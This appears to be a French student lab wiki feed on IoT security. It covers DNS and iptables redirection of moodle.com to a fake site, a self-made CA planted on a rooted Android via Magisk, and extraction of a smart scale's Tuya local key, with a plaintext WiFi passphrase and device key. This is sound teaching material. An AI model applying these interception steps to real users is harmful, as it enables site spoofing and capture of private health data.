&amp;quot;key&amp;quot;: &amp;quot;V[z^Gr|qekh]9z_&amp;gt;&amp;quot;,         &lt;br /&gt;
&amp;quot;mac&amp;quot;: &amp;quot;a4:e5:7c:16:2d:4c&amp;quot;,         &lt;br /&gt;
&amp;quot;uuid&amp;quot;: &amp;quot;84853100a4e57c162d4c&amp;quot;,         &lt;br /&gt;
&amp;quot;sn&amp;quot;: &amp;quot;10003702800241&amp;quot;,         &lt;br /&gt;
&amp;quot;category&amp;quot;: &amp;quot;qt&amp;quot;,         &lt;br /&gt;
&amp;quot;product_name&amp;quot;: &amp;quot;Personal Scale&amp;quot;,         &lt;br /&gt;
&amp;quot;product_id&amp;quot;: &amp;quot;arjciqapuueq9cvt&amp;quot;,         &lt;br /&gt;
&amp;quot;biz_type&amp;quot;: 18,         &lt;br /&gt;
&amp;quot;model&amp;quot;: &amp;quot;WIFIHS10WT&amp;quot;,         &lt;br /&gt;
&amp;quot;sub&amp;quot;: false,         &lt;br /&gt;
&amp;quot;icon&amp;quot;: &amp;quot;https://images.tuyaeu.com/smart/icon/ay1513237774906SMBA3/1652104387fa2f735a389.png&amp;quot;,         &lt;br /&gt;
&amp;quot;mapping&amp;quot;: {}     } ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et la, magie, on obtient la clé de la balance, on va pouvoir enfin récupérer le poids de notre utilisateur grâce à ce code python qui écoute la balance:&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import tinytuya&lt;br /&gt;
&lt;br /&gt;
DEVICE_ID = '84853100a4e57c162d4c'&lt;br /&gt;
IP_ADDRESS = '172.16.10.105'&lt;br /&gt;
LOCAL_KEY = 'V[z^Gr|qekh]9z_&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
# Connexion à l'appareil&lt;br /&gt;
d = tinytuya.Device(DEVICE_ID, IP_ADDRESS, LOCAL_KEY)&lt;br /&gt;
&lt;br /&gt;
d.set_version(3.3)&lt;br /&gt;
&lt;br /&gt;
# Récupérer le statut&lt;br /&gt;
data = d.status() &lt;br /&gt;
print(&amp;quot;Statut complet :&amp;quot;, data)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Évidemment cela ne fonctionne pas. Et pourquoi ? Et bien si l'on regarde dans le bloc &amp;lt;code&amp;gt;python3 -m tinytuya devices TinyTuya&amp;lt;/code&amp;gt; on observe que le champs mapping est vide. Ce champs est censé afficher toute les données que TinyTuya est censé pouvoir récupérer … et il est vide …&lt;br /&gt;
&lt;br /&gt;
Soit je suis à l'origine de ce problème, soit TinyTuya ne permet de changer nous ampoules connecté en rouge si la balance affiche que notre objectif de poids est dépassé …&lt;br /&gt;
&lt;br /&gt;
Affaire à suivre.&lt;br /&gt;
&lt;br /&gt;
TODO : ne marche pas en local ? tenter d'enlever la redirection&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11130</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11130"/>
		<updated>2026-01-11T22:11:16Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* TinyTuya */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
